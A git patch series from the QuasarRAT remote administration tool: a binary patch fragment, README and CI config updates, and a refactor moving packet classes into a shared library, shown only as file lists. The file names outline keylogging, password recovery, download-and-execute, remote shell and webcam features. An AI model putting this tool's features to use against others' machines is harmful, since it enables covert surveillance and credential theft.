ze#0j95~$=}K@Lg~SQV))3Liu41b+dP3UW}zvw*aAN`98WOO7Sv^d$1jye>&T3gBYO zHB{z{m+NZe%DPeuW*Wkc$~7k`VAF^xiFX`IQ8&VB=Zo>yjeu?-V#Hc_QTHv#gW9gc z#i6iqq!CB#^$@DlNn3?z9`lgOGGG=Vu`VrTVhyYSqf|1Wu}o*ynX4K-PJC>XPQ^EL z9z8lYrsKFGgt#bM#>h^A@#}gX#+5Rf_i{+siv1$a3i8C-VIA`Nm&UNn84bWNuBXw> z_zK2%IB`}Oo!T(cuY#N11iLfV`7m^51@s~)J0*X^z}7@kh--Tiu8PU`gz#Zvj2IRW z+L8ab7~Oz0@&@^DVF$s>ZlW**DbzUmLXeyzQ78XuEAz(&O_Rgy?)G!-r zJq79nUDOJ6BU@%6V_XVwW-f2irEiXdoi(Gx}LG2CIf<&IZ<=~aI=xpC_^<8RG=e@1mYdiyQ2TlYM3cl%~v&GHR< zDWSDI7o7>;Pd02<^U& z4jaFV-9Biycff~_hio1Uf#BE9@EaXH!|jL+2>yFI+Joux;$x$N89kb@39p0*uK%7e_KFdZGkN+X>}z>szrQcHV(5qVyJ19Jz6fa`CN zJg&b1g0y`hmy51&uxB6Fj*gAom|z@z8%S{ z{*5Wd1{{fPOd-zgZS)tW1B|(Y&OJ7M%^X+74=bBA8}Zp43WDuJk$|9PfwcA6mbbIL z&$hjtoo#)n6jW>f`a>d$hZt~BO7{?>yhBpILj(i|lfT21V9F`Mlv{!+C-+k#5MBK~ zTwp%f(b3t-XM0;;f3CB)ku*5i*`quicp2Yr)s8HKtq-(T1=aDW)`z>HUhG!AaG7J4)U6uh3;QQAf zGbO^s!H@z~X+UY!cuXYnm?@s7`qtMO#YZ}{9ctpZJBL0s+gGQOdxL{r!)?C3%+tXkXt(X#>ltQl2M0F|w~GgTI))|Rp26;6j}SeiGD}ZF zPMay6%^hfcUf*W8Afe45UrX|}Y%+u>!;`vJp7bDnFPvn&R;2wTqT0wo(q1$n-}+C% z4oG%7z_$KVavY)O3*z~L_IyD+Um*P%p+BSP&j|e)20BJ?ix>Lgx6$xKAG(dYY;^Qe zLmE6BjoIk%qWs-;^SNnQo3(CKLpKV5myQZrsu6D&%Vpwcv>_UGlqB3sU29Cl=-x)h zrXBTII~|->pN85Vg6$YY_Sf$h`Q5MOcfW}2ezwW3Hf44Bt^n%k^e9-rE4pykuMLt1 z?T@@EeE2M zza5~m(fVzVSDGsk-CT(=EV?4w0*b^tq{WH{0@f29swX;BPh-e~g7x)p?6BM0S#^h6 zp|a})HxLXH^bw$7P-p_1zyf$e0jv|;Krl?uN6J0?z1fT<; zNed_MG6#lM-inx1>y)s7kzs?aNCF-ZbL(9U2HI5X23cN1@LGb?1iwZA-$-i@v0efn z!G#3KviQbZaVN20DKak-pwsN%s1clM-AZO&-q*@&_gc3TTtILU!NmlZ5L`-d8No{l zE+^PQa0S832(Bc+B8h6<8cn`tv5xke+VS@ib z@IHdyCwM=>9}s+i;1Plk5`2i@!vr58_$a|25QO;F|>hNboI!Zxein;8}uyCipJF_XwUN_&&k^A$XqP z1%e+C{0qUq68w#_2YijMHfL9^LFc_2ztq9*<)fJTTxJ-RLudZuH#}XLmi3ZdgAsd8PLNBJpP2C+#|eEw~hPrduWj#suWedrIqw|6?-^Yy!|+ur)g zo+lpN`|Ya{=lolo8wd*NdrdCU7-ZhQKvwb&QG`QY8J z`P9zG{=5S>)34v%zy3y#vWGC5xVvRob)ifhL#P4^ce2}F5Qjjqz4-MYZ%bR31xo^p zjPV+$GLob`e_SKC{V$ae4c7K*LY+reKl!a&~3 zBr&I8?cXc#K7scOe0!(K%66T#JG20%5PHzl;lo=OXo`iKGPoXs{2f?ptbS$}<95`+ z`eT}XK-p691CB;ua-%L_8AMwKJ=75@5{K%bnUUCV8$=~jWP06;$*l)35K-m$RjWa$ zz+J5BMbsVC1XV_5(XV#>YHLHY7#-~LcsP6=?C4*_>{QS}772g-_-Qo?q@BYW-)7Hn zi8d?m9sN_A*QqzG!oq{ncUC7G}wSVI>iMC%?_{K1z(G-Z7<6RmWD4(Yd z&!87Jw!`Cv93Vjb?#KIlPb&<9A>u`vdC_2V?nx~~OhZEu4=U0WbVwI;$StT~QqZB7 zcv`zCVnxf_CVUqpp4;axwvqemvt)4brogNS0keuVwC{%}L zIGl2HLm225HqkU-IN{qk&+8Vco0t@-yRk^!E_I94IGiHjIz5jcBG`pfpzgV^tIWx# zYftXkHF6csXz}diwSi&*M-nWR@}B2%axWW)t9ZWXLPjy{`V8+G)&Yi1cv#d;&UQL3 z)=~KJ19j>C(XoB`(FGi2*f%z^bI*Z2*_{VQ_T_i(U)Yo1JGysl&;F5vSV^!{x7nQ^ z4wteR{9kCP^W7t2!#lE93^)7ZXN?AMzGOJTvzOIj?#0V3W9XVOGE%sBymNHdo?QpV z_U#(MV8Y_834a%Gpp>#-GFQngnTI1nM;{oNn;16%Qv2jekKnEW~}zZ3_5ZDxuE3 zHKF5qr1e=uYN=niEu)?ko)MH=|J#F29>@S&g*^z%QwmGi;NkYi8n!GlaOEX>Zt8J! zj~hPRDB?y>7F$aEy8){b{EZ@R72%o};pFCF0Wmq-C*(VG^C<$3dC>RZSC{JHo3{@c zj@zPp@EpK)&OW@E-?-v0?=ctLvg0Nuw?XSUZqDzn7fE{;Hr|T(r|^pk{Eemv;yNxd zQ4-6L0ZVZln}9X&oJ||X_F5Ld{=gmV7ne^QzgpKAx2{EQDRS$yg3}pX;ZWGfVqS)k zS0_zMT1$;(Jc$rF@Ewt|$4uV1amcbe@~2DJT63QMeHk2(dW<7pZalA`WVHr~zIgo| vkos#5$F%F4+vl#sLlVx9(l>8W|1x1kU@r!4K>r25;e9X0@L%-*%o6y&>YDBG diff --git a/Server/packages.config b/Server/packages.config new file mode 100644 index 000000000..072063f5e --- /dev/null +++ b/Server/packages.config @@ -0,0 +1,8 @@ + + + + + + + + \ No newline at end of file From 85e1816d23907a27929bb11d9b40e3be1ed27364 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Thu, 16 Aug 2018 21:06:44 +0200 Subject: [PATCH 106/229] Update Readme and update appveyor config --- README.md | 24 ++++++++---------------- appveyor.yml | 2 ++ build-debug.bat | 1 - build-release.bat | 1 - 4 files changed, 10 insertions(+), 18 deletions(-) delete mode 100644 build-debug.bat delete mode 100644 build-release.bat diff --git a/README.md b/README.md index 8f7de7f61..58dd19362 100644 --- a/README.md +++ b/README.md @@ -30,9 +30,9 @@ Quasar is a fast and light-weight remote administration tool coded in C#. Provid * Password Recovery (Common Browsers and FTP Clients) * Registry Editor -## Requirements -* .NET Framework 4.0 Client Profile ([Download](https://www.microsoft.com/en-us/download/details.aspx?id=24872)) -* Supported Operating Systems (32- and 64-bit) +## Supported runtimes and operating systems +* .NET Framework 4.0 Client Profile or higher ([Download](https://www.microsoft.com/en-us/download/details.aspx?id=24872)) +* Supported operating systems (32- and 64-bit) * Windows XP SP3 * Windows Server 2003 * Windows Vista @@ -43,21 +43,13 @@ Quasar is a fast and light-weight remote administration tool coded in C#. Provid * Windows 10 ## Compiling -Open the project in Visual Studio and click build, or use one of the batch files included in the root directory. - -| Batch file | Description -| ----------------- |:------------- -| build-debug.bat | Builds the application using the debug configuration (for testing) -| build-release.bat | Builds the application using the release configuration (for publishing) +Open the project in Visual Studio 2015+ and click build. See below which build configuration to choose. ## Building a client -| Build configuration | Description -| ----------------------------|:------------- -| debug configuration | The pre-defined [Settings.cs](/Client/Config/Settings.cs) will be used. The client builder does not work in this configuration. You can execute the client directly with the specified settings. -| release configuration | Use the client builder to build your client otherwise it is going to crash. - -## ToDo -* [Open Issues](https://github.com/quasar/QuasarRAT/issues) +| Build configuration | Usage scenario | Description +| ----------------------------|----------------|-------------- +| Debug configuration | Testing | The pre-defined [Settings.cs](/Client/Config/Settings.cs) will be used, so edit this file before compiling the client. You can execute the client directly with the specified settings. +| Release configuration | Live use | Start `Quasar.exe` and use the client builder. ## Contributing See [CONTRIBUTING.md](CONTRIBUTING.md) diff --git a/appveyor.yml b/appveyor.yml index 28fc0cf08..9a11f17fc 100644 --- a/appveyor.yml +++ b/appveyor.yml @@ -4,6 +4,8 @@ configuration: - Debug - Release shallow_clone: true +before_build: + - nuget restore build: project: QuasarRAT.sln parallel: true diff --git a/build-debug.bat b/build-debug.bat deleted file mode 100644 index 87c0773c2..000000000 --- a/build-debug.bat +++ /dev/null @@ -1 +0,0 @@ -"%windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" "%~dp0\QuasarRAT.sln" /t:Build /p:Configuration=Debug \ No newline at end of file diff --git a/build-release.bat b/build-release.bat deleted file mode 100644 index 0a0d7e989..000000000 --- a/build-release.bat +++ /dev/null @@ -1 +0,0 @@ -"%windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" "%~dp0\QuasarRAT.sln" /t:Build /p:Configuration=Release \ No newline at end of file From bf1c0986de40bf0a37919c02c07e0c3e1e18505b Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sat, 18 Aug 2018 18:55:25 +0200 Subject: [PATCH 107/229] Add common library --- Client.Tests/Client.Tests.csproj | 5 +- .../Core/Compression/JpgCompression.Tests.cs | 1 + Client.Tests/Core/Packet/Packet.Tests.cs | 21 - Client/Client.csproj | 117 +--- Client/Core/Commands/CommandHandler.cs | 2 +- Client/Core/Commands/ConnectionHandler.cs | 62 ++- Client/Core/Commands/FileHandler.cs | 93 +++- Client/Core/Commands/MiscHandler.cs | 54 +- Client/Core/Commands/RegistryHandler.cs | 101 ++-- Client/Core/Commands/SurveillanceHandler.cs | 114 +++- Client/Core/Commands/SystemHandler.cs | 65 +-- Client/Core/Commands/TCPConnectionsHandler.cs | 14 +- Client/Core/Commands/WebcamHandler.cs | 22 +- Client/Core/Helper/FormatHelper.cs | 5 - Client/Core/Helper/RegistryKeyHelper.cs | 4 +- Client/Core/Helper/WindowsAccountHelper.cs | 7 +- Client/Core/Installation/ClientUninstaller.cs | 3 +- Client/Core/Installation/ClientUpdater.cs | 5 +- Client/Core/NetSerializer/CodeGenContext.cs | 110 ---- Client/Core/NetSerializer/Helpers.cs | 89 --- Client/Core/NetSerializer/ITypeSerializer.cs | 49 -- Client/Core/NetSerializer/Primitives.cs | 521 ------------------ Client/Core/NetSerializer/Serializer.cs | 254 --------- .../TypeSerializers/ArraySerializer.cs | 193 ------- .../TypeSerializers/DictionarySerializer.cs | 147 ----- .../TypeSerializers/EnumSerializer.cs | 40 -- .../TypeSerializers/GenericSerializer.cs | 121 ---- .../TypeSerializers/ObjectSerializer.cs | 157 ------ .../TypeSerializers/PrimitivesSerializer.cs | 52 -- Client/Core/Networking/Client.cs | 46 +- Client/Core/Networking/PacketHandler.cs | 200 +++++++ Client/Core/Networking/QuasarClient.cs | 11 +- .../ClientPackets/DoDownloadFileResponse.cs | 41 -- .../ClientPackets/DoShellExecuteResponse.cs | 28 - .../GetAuthenticationResponse.cs | 59 -- .../GetChangeRegistryValueResponse.cs | 26 - .../ClientPackets/GetConnectionsResponse.cs | 43 -- .../GetCreateRegistryKeyResponse.cs | 26 - .../GetCreateRegistryValueResponse.cs | 26 - .../GetDeleteRegistryKeyResponse.cs | 25 - .../GetDeleteRegistryValueResponse.cs | 25 - .../ClientPackets/GetDesktopResponse.cs | 34 -- .../ClientPackets/GetDirectoryResponse.cs | 31 -- .../ClientPackets/GetDrivesResponse.cs | 28 - .../ClientPackets/GetKeyloggerLogsResponse.cs | 40 -- .../ClientPackets/GetMonitorsResponse.cs | 25 - .../ClientPackets/GetPasswordsResponse.cs | 26 - .../ClientPackets/GetProcessesResponse.cs | 31 -- .../ClientPackets/GetRegistryKeysResponse.cs | 28 - .../GetRenameRegistryKeyResponse.cs | 26 - .../GetRenameRegistryValueResponse.cs | 26 - .../ClientPackets/GetStartupItemsResponse.cs | 26 - .../ClientPackets/GetSystemInfoResponse.cs | 25 - .../ClientPackets/GetWebcamResponse.cs | 29 - .../ClientPackets/GetWebcamsResponse.cs | 27 - .../Core/Packets/ClientPackets/SetStatus.cs | 25 - .../ClientPackets/SetStatusFileManager.cs | 28 - .../Packets/ClientPackets/SetUserStatus.cs | 26 - Client/Core/Packets/IPacket.cs | 9 - Client/Core/Packets/PacketHandler.cs | 200 ------- Client/Core/Packets/PacketRegistery.cs | 94 ---- .../Packets/ServerPackets/DoAskElevate.cs | 18 - .../ServerPackets/DoChangeRegistryValue.cs | 26 - .../ServerPackets/DoClientDisconnect.cs | 18 - .../ServerPackets/DoClientReconnect.cs | 18 - .../ServerPackets/DoClientUninstall.cs | 18 - .../Packets/ServerPackets/DoClientUpdate.cs | 40 -- .../ServerPackets/DoCloseConnection.cs | 28 - .../ServerPackets/DoCreateRegistryKey.cs | 24 - .../ServerPackets/DoCreateRegistryValue.cs | 27 - .../ServerPackets/DoDeleteRegistryKey.cs | 26 - .../ServerPackets/DoDeleteRegistryValue.cs | 26 - .../ServerPackets/DoDownloadAndExecute.cs | 28 - .../Packets/ServerPackets/DoDownloadFile.cs | 28 - .../ServerPackets/DoDownloadFileCancel.cs | 25 - .../Packets/ServerPackets/DoKeyboardEvent.cs | 28 - .../ServerPackets/DoLoadRegistryKey.cs | 24 - .../Packets/ServerPackets/DoMouseEvent.cs | 38 -- .../Packets/ServerPackets/DoPathDelete.cs | 29 - .../Packets/ServerPackets/DoPathRename.cs | 32 -- .../Packets/ServerPackets/DoProcessKill.cs | 25 - .../Packets/ServerPackets/DoProcessStart.cs | 25 - .../ServerPackets/DoRenameRegistryKey.cs | 28 - .../ServerPackets/DoRenameRegistryValue.cs | 28 - .../Packets/ServerPackets/DoShellExecute.cs | 25 - .../Packets/ServerPackets/DoShowMessageBox.cs | 34 -- .../Packets/ServerPackets/DoShutdownAction.cs | 26 - .../Packets/ServerPackets/DoStartupItemAdd.cs | 31 -- .../ServerPackets/DoStartupItemRemove.cs | 31 -- .../ServerPackets/DoUploadAndExecute.cs | 40 -- .../Packets/ServerPackets/DoUploadFile.cs | 37 -- .../Packets/ServerPackets/DoVisitWebsite.cs | 28 - .../Packets/ServerPackets/DoWebcamStop.cs | 18 - .../ServerPackets/GetAuthentication.cs | 18 - .../Packets/ServerPackets/GetConnections.cs | 19 - .../Core/Packets/ServerPackets/GetDesktop.cs | 28 - .../Packets/ServerPackets/GetDirectory.cs | 25 - .../Core/Packets/ServerPackets/GetDrives.cs | 18 - .../Packets/ServerPackets/GetKeyloggerLogs.cs | 16 - .../Core/Packets/ServerPackets/GetMonitors.cs | 18 - .../Packets/ServerPackets/GetPasswords.cs | 18 - .../Packets/ServerPackets/GetProcesses.cs | 18 - .../Packets/ServerPackets/GetStartupItems.cs | 18 - .../Packets/ServerPackets/GetSystemInfo.cs | 18 - .../Core/Packets/ServerPackets/GetWebcam.cs | 27 - .../Core/Packets/ServerPackets/GetWebcams.cs | 18 - .../ServerPackets/SetAuthenticationSuccess.cs | 18 - Client/Core/Registry/RegSeekerMatch.cs | 39 -- Client/Core/Registry/RegValueData.cs | 28 - Client/Core/Registry/RegistryEditor.cs | 1 + Client/Core/Registry/RegistrySeeker.cs | 28 +- .../Packets/ReverseProxyConnect.cs | 32 -- .../Packets/ReverseProxyConnectResponse.cs | 49 -- .../ReverseProxy/Packets/ReverseProxyData.cs | 29 - .../Packets/ReverseProxyDisconnect.cs | 26 - .../Core/ReverseProxy/ReverseProxyClient.cs | 33 +- .../ReverseProxyCommandHandler.cs | 5 +- Client/Core/Utilities/Shell.cs | 36 +- Client/Enums/MouseAction.cs | 14 - Client/Enums/PathType.cs | 9 - Client/Enums/ShutdownAction.cs | 9 - Client/Enums/UserStatus.cs | 8 - Client/packages.config | 1 + .../Enums/MouseAction.cs | 2 +- {Server => Quasar.Common}/Enums/PathType.cs | 2 +- .../Enums/ShutdownAction.cs | 2 +- {Server => Quasar.Common}/Enums/UserStatus.cs | 2 +- Quasar.Common/NativeMethods.cs | 20 + Quasar.Common/Packets/DoAskElevate.cs | 9 + .../Packets/DoChangeRegistryValue.cs | 15 + Quasar.Common/Packets/DoClientDisconnect.cs | 9 + Quasar.Common/Packets/DoClientReconnect.cs | 9 + Quasar.Common/Packets/DoClientUninstall.cs | 9 + Quasar.Common/Packets/DoClientUpdate.cs | 26 + Quasar.Common/Packets/DoCloseConnection.cs | 14 + Quasar.Common/Packets/DoCreateRegistryKey.cs | 11 + .../Packets/DoCreateRegistryValue.cs | 15 + Quasar.Common/Packets/DoDeleteRegistryKey.cs | 14 + .../Packets/DoDeleteRegistryValue.cs | 14 + Quasar.Common/Packets/DoDownloadAndExecute.cs | 14 + Quasar.Common/Packets/DoDownloadFile.cs | 14 + Quasar.Common/Packets/DoDownloadFileCancel.cs | 11 + .../Packets/DoDownloadFileResponse.cs | 26 + Quasar.Common/Packets/DoKeyboardEvent.cs | 14 + Quasar.Common/Packets/DoLoadRegistryKey.cs | 11 + Quasar.Common/Packets/DoMouseEvent.cs | 24 + Quasar.Common/Packets/DoPathDelete.cs | 15 + Quasar.Common/Packets/DoPathRename.cs | 18 + Quasar.Common/Packets/DoProcessKill.cs | 11 + Quasar.Common/Packets/DoProcessStart.cs | 11 + Quasar.Common/Packets/DoRenameRegistryKey.cs | 17 + .../Packets/DoRenameRegistryValue.cs | 17 + Quasar.Common/Packets/DoShellExecute.cs | 11 + .../Packets/DoShellExecuteResponse.cs | 14 + Quasar.Common/Packets/DoShowMessageBox.cs | 20 + Quasar.Common/Packets/DoShutdownAction.cs | 12 + Quasar.Common/Packets/DoStartupItemAdd.cs | 17 + Quasar.Common/Packets/DoStartupItemRemove.cs | 17 + Quasar.Common/Packets/DoUploadAndExecute.cs | 26 + Quasar.Common/Packets/DoUploadFile.cs | 23 + Quasar.Common/Packets/DoVisitWebsite.cs | 14 + Quasar.Common/Packets/DoWebcamStop.cs | 9 + Quasar.Common/Packets/GetAuthentication.cs | 9 + .../Packets/GetAuthenticationResponse.cs | 44 ++ .../Packets/GetChangeRegistryValueResponse.cs | 21 + Quasar.Common/Packets/GetConnections.cs | 9 + .../Packets/GetConnectionsResponse.cs | 26 + .../Packets/GetCreateRegistryKeyResponse.cs | 21 + .../Packets/GetCreateRegistryValueResponse.cs | 21 + .../Packets/GetDeleteRegistryKeyResponse.cs | 20 + .../Packets/GetDeleteRegistryValueResponse.cs | 20 + Quasar.Common/Packets/GetDesktop.cs | 14 + Quasar.Common/Packets/GetDesktopResponse.cs | 21 + Quasar.Common/Packets/GetDirectory.cs | 11 + Quasar.Common/Packets/GetDirectoryResponse.cs | 17 + Quasar.Common/Packets/GetDrives.cs | 9 + Quasar.Common/Packets/GetDrivesResponse.cs | 14 + Quasar.Common/Packets/GetKeyloggerLogs.cs | 9 + .../Packets/GetKeyloggerLogsResponse.cs | 29 + Quasar.Common/Packets/GetMonitors.cs | 9 + Quasar.Common/Packets/GetMonitorsResponse.cs | 11 + Quasar.Common/Packets/GetPasswords.cs | 9 + Quasar.Common/Packets/GetPasswordsResponse.cs | 12 + Quasar.Common/Packets/GetProcesses.cs | 9 + Quasar.Common/Packets/GetProcessesResponse.cs | 17 + .../Packets/GetRegistryKeysResponse.cs | 21 + .../Packets/GetRenameRegistryKeyResponse.cs | 23 + .../Packets/GetRenameRegistryValueResponse.cs | 23 + Quasar.Common/Packets/GetStartupItems.cs | 9 + .../Packets/GetStartupItemsResponse.cs | 12 + Quasar.Common/Packets/GetSystemInfo.cs | 9 + .../Packets/GetSystemInfoResponse.cs | 11 + Quasar.Common/Packets/GetWebcam.cs | 14 + Quasar.Common/Packets/GetWebcamResponse.cs | 17 + Quasar.Common/Packets/GetWebcams.cs | 9 + Quasar.Common/Packets/GetWebcamsResponse.cs | 13 + Quasar.Common/Packets/IPacket.cs | 6 + Quasar.Common/Packets/PacketRegistery.cs | 100 ++++ Quasar.Common/Packets/ReverseProxyConnect.cs | 17 + .../Packets/ReverseProxyConnectResponse.cs | 23 + Quasar.Common/Packets/ReverseProxyData.cs | 14 + .../Packets/ReverseProxyDisconnect.cs | 11 + .../Packets/SetAuthenticationSuccess.cs | 9 + Quasar.Common/Packets/SetStatus.cs | 11 + Quasar.Common/Packets/SetStatusFileManager.cs | 14 + Quasar.Common/Packets/SetUserStatus.cs | 12 + Quasar.Common/Properties/AssemblyInfo.cs | 36 ++ Quasar.Common/Quasar.Common.csproj | 139 +++++ Quasar.Common/Registry/RegSeekerMatch.cs | 22 + Quasar.Common/Registry/RegValueData.cs | 24 + .../Video/Codecs}/UnsafeStreamCodec.cs | 10 +- .../Video}/Compression/JpgCompression.cs | 2 +- Quasar.Common/Video/Resolution.cs | 53 ++ Quasar.Common/packages.config | 4 + QuasarRAT.sln | 13 +- Server.Tests/Core/Packet/Packet.Tests.cs | 21 - Server.Tests/Server.Tests.csproj | 5 +- Server/Controls/RegistryValueLstItem.cs | 1 + Server/Core/Commands/ConnectionHandler.cs | 6 +- Server/Core/Commands/MiscHandler.cs | 18 +- Server/Core/Commands/RegistryHandler.cs | 17 +- Server/Core/Commands/SurveillanceHandler.cs | 16 +- Server/Core/Commands/SystemHandler.cs | 6 +- Server/Core/Commands/TCPConnectionsHandler.cs | 2 +- Server/Core/Compression/JpgCompression.cs | 72 --- Server/Core/NetSerializer/CodeGenContext.cs | 110 ---- Server/Core/NetSerializer/Helpers.cs | 89 --- Server/Core/NetSerializer/ITypeSerializer.cs | 49 -- Server/Core/NetSerializer/Primitives.cs | 521 ------------------ Server/Core/NetSerializer/Serializer.cs | 254 --------- .../TypeSerializers/ArraySerializer.cs | 193 ------- .../TypeSerializers/DictionarySerializer.cs | 147 ----- .../TypeSerializers/EnumSerializer.cs | 40 -- .../TypeSerializers/GenericSerializer.cs | 121 ---- .../TypeSerializers/ObjectSerializer.cs | 157 ------ .../TypeSerializers/PrimitivesSerializer.cs | 52 -- Server/Core/Networking/Client.cs | 9 +- Server/Core/Networking/PacketHandler.cs | 129 +++++ Server/Core/Networking/QuasarServer.cs | 16 +- Server/Core/Networking/Server.cs | 45 +- Server/Core/Networking/UserState.cs | 4 +- .../ClientPackets/DoDownloadFileResponse.cs | 41 -- .../ClientPackets/DoShellExecuteResponse.cs | 28 - .../GetAuthenticationResponse.cs | 59 -- .../GetChangeRegistryValueResponse.cs | 26 - .../ClientPackets/GetConnectionsResponse.cs | 42 -- .../GetCreateRegistryKeyResponse.cs | 26 - .../GetCreateRegistryValueResponse.cs | 26 - .../GetDeleteRegistryKeyResponse.cs | 25 - .../GetDeleteRegistryValueResponse.cs | 25 - .../ClientPackets/GetDesktopResponse.cs | 34 -- .../ClientPackets/GetDirectoryResponse.cs | 31 -- .../ClientPackets/GetDrivesResponse.cs | 28 - .../ClientPackets/GetKeyloggerLogsResponse.cs | 40 -- .../ClientPackets/GetMonitorsResponse.cs | 25 - .../ClientPackets/GetPasswordsResponse.cs | 26 - .../ClientPackets/GetProcessesResponse.cs | 31 -- .../ClientPackets/GetRegistryKeysResponse.cs | 28 - .../GetRenameRegistryKeyResponse.cs | 26 - .../GetRenameRegistryValueResponse.cs | 26 - .../ClientPackets/GetStartupItemsResponse.cs | 26 - .../ClientPackets/GetSystemInfoResponse.cs | 25 - .../ClientPackets/GetWebcamResponse.cs | 29 - .../ClientPackets/GetWebcamsResponse.cs | 27 - .../Core/Packets/ClientPackets/SetStatus.cs | 25 - .../ClientPackets/SetStatusFileManager.cs | 28 - .../Packets/ClientPackets/SetUserStatus.cs | 26 - Server/Core/Packets/IPacket.cs | 9 - Server/Core/Packets/PacketHandler.cs | 129 ----- Server/Core/Packets/PacketRegistery.cs | 94 ---- .../Packets/ServerPackets/DoAskElevate.cs | 18 - .../ServerPackets/DoChangeRegistryValue.cs | 26 - .../ServerPackets/DoClientDisconnect.cs | 18 - .../ServerPackets/DoClientReconnect.cs | 18 - .../ServerPackets/DoClientUninstall.cs | 18 - .../Packets/ServerPackets/DoClientUpdate.cs | 40 -- .../ServerPackets/DoCloseConnection.cs | 28 - .../ServerPackets/DoCreateRegistryKey.cs | 24 - .../ServerPackets/DoCreateRegistryValue.cs | 27 - .../ServerPackets/DoDeleteRegistryKey.cs | 26 - .../ServerPackets/DoDeleteRegistryValue.cs | 26 - .../ServerPackets/DoDownloadAndExecute.cs | 28 - .../Packets/ServerPackets/DoDownloadFile.cs | 28 - .../ServerPackets/DoDownloadFileCancel.cs | 25 - .../Packets/ServerPackets/DoKeyboardEvent.cs | 28 - .../ServerPackets/DoLoadRegistryKey.cs | 24 - .../Packets/ServerPackets/DoMouseEvent.cs | 38 -- .../Packets/ServerPackets/DoPathDelete.cs | 29 - .../Packets/ServerPackets/DoPathRename.cs | 32 -- .../Packets/ServerPackets/DoProcessKill.cs | 25 - .../Packets/ServerPackets/DoProcessStart.cs | 25 - .../ServerPackets/DoRenameRegistryKey.cs | 28 - .../ServerPackets/DoRenameRegistryValue.cs | 28 - .../Packets/ServerPackets/DoShellExecute.cs | 25 - .../Packets/ServerPackets/DoShowMessageBox.cs | 34 -- .../Packets/ServerPackets/DoShutdownAction.cs | 26 - .../Packets/ServerPackets/DoStartupItemAdd.cs | 31 -- .../ServerPackets/DoStartupItemRemove.cs | 31 -- .../ServerPackets/DoUploadAndExecute.cs | 40 -- .../Packets/ServerPackets/DoUploadFile.cs | 37 -- .../Packets/ServerPackets/DoVisitWebsite.cs | 28 - .../Packets/ServerPackets/DoWebcamStop.cs | 18 - .../ServerPackets/GetAuthentication.cs | 18 - .../Packets/ServerPackets/GetConnections.cs | 19 - .../Core/Packets/ServerPackets/GetDesktop.cs | 28 - .../Packets/ServerPackets/GetDirectory.cs | 25 - .../Core/Packets/ServerPackets/GetDrives.cs | 18 - .../Packets/ServerPackets/GetKeyloggerLogs.cs | 16 - .../Core/Packets/ServerPackets/GetMonitors.cs | 18 - .../Packets/ServerPackets/GetPasswords.cs | 18 - .../Packets/ServerPackets/GetProcesses.cs | 18 - .../Packets/ServerPackets/GetStartupItems.cs | 18 - .../Packets/ServerPackets/GetSystemInfo.cs | 18 - .../Core/Packets/ServerPackets/GetWebcam.cs | 27 - .../Core/Packets/ServerPackets/GetWebcams.cs | 18 - .../ServerPackets/SetAuthenticationSuccess.cs | 18 - Server/Core/Registry/RegSeekerMatch.cs | 39 -- Server/Core/Registry/RegValueData.cs | 28 - .../Packets/ReverseProxyConnect.cs | 32 -- .../Packets/ReverseProxyConnectResponse.cs | 34 -- .../ReverseProxy/Packets/ReverseProxyData.cs | 29 - .../Packets/ReverseProxyDisconnect.cs | 26 - .../Core/ReverseProxy/ReverseProxyClient.cs | 28 +- .../ReverseProxyCommandHandler.cs | 5 +- Server/Core/Utilities/NativeMethods.cs | 14 +- Server/Core/Utilities/UnsafeStreamCodec.cs | 370 ------------- Server/Forms/FrmConnections.cs | 15 +- Server/Forms/FrmFileManager.cs | 62 ++- Server/Forms/FrmKeylogger.cs | 3 +- Server/Forms/FrmMain.cs | 79 ++- Server/Forms/FrmPasswordRecovery.cs | 5 +- Server/Forms/FrmRegValueEditBinary.cs | 14 +- Server/Forms/FrmRegValueEditMultiString.cs | 30 +- Server/Forms/FrmRegValueEditString.cs | 15 +- Server/Forms/FrmRegValueEditWord.cs | 15 +- Server/Forms/FrmRegistryEditor.cs | 90 ++- Server/Forms/FrmRemoteDesktop.cs | 53 +- Server/Forms/FrmRemoteShell.cs | 5 +- Server/Forms/FrmRemoteWebcam.cs | 23 +- Server/Forms/FrmStartupManager.cs | 22 +- Server/Forms/FrmSystemInformation.cs | 5 +- Server/Forms/FrmTaskManager.cs | 13 +- Server/Server.csproj | 112 +--- Server/packages.config | 1 + 344 files changed, 2797 insertions(+), 9506 deletions(-) delete mode 100644 Client.Tests/Core/Packet/Packet.Tests.cs delete mode 100644 Client/Core/NetSerializer/CodeGenContext.cs delete mode 100644 Client/Core/NetSerializer/Helpers.cs delete mode 100644 Client/Core/NetSerializer/ITypeSerializer.cs delete mode 100644 Client/Core/NetSerializer/Primitives.cs delete mode 100644 Client/Core/NetSerializer/Serializer.cs delete mode 100644 Client/Core/NetSerializer/TypeSerializers/ArraySerializer.cs delete mode 100644 Client/Core/NetSerializer/TypeSerializers/DictionarySerializer.cs delete mode 100644 Client/Core/NetSerializer/TypeSerializers/EnumSerializer.cs delete mode 100644 Client/Core/NetSerializer/TypeSerializers/GenericSerializer.cs delete mode 100644 Client/Core/NetSerializer/TypeSerializers/ObjectSerializer.cs delete mode 100644 Client/Core/NetSerializer/TypeSerializers/PrimitivesSerializer.cs create mode 100644 Client/Core/Networking/PacketHandler.cs delete mode 100644 Client/Core/Packets/ClientPackets/DoDownloadFileResponse.cs delete mode 100644 Client/Core/Packets/ClientPackets/DoShellExecuteResponse.cs delete mode 100644 Client/Core/Packets/ClientPackets/GetAuthenticationResponse.cs delete mode 100644 Client/Core/Packets/ClientPackets/GetChangeRegistryValueResponse.cs delete mode 100644 Client/Core/Packets/ClientPackets/GetConnectionsResponse.cs delete mode 100644 Client/Core/Packets/ClientPackets/GetCreateRegistryKeyResponse.cs delete mode 100644 Client/Core/Packets/ClientPackets/GetCreateRegistryValueResponse.cs delete mode 100644 Client/Core/Packets/ClientPackets/GetDeleteRegistryKeyResponse.cs delete mode 100644 Client/Core/Packets/ClientPackets/GetDeleteRegistryValueResponse.cs delete mode 100644 Client/Core/Packets/ClientPackets/GetDesktopResponse.cs delete mode 100644 Client/Core/Packets/ClientPackets/GetDirectoryResponse.cs delete mode 100644 Client/Core/Packets/ClientPackets/GetDrivesResponse.cs delete mode 100644 Client/Core/Packets/ClientPackets/GetKeyloggerLogsResponse.cs delete mode 100644 Client/Core/Packets/ClientPackets/GetMonitorsResponse.cs delete mode 100644 Client/Core/Packets/ClientPackets/GetPasswordsResponse.cs delete mode 100644 Client/Core/Packets/ClientPackets/GetProcessesResponse.cs 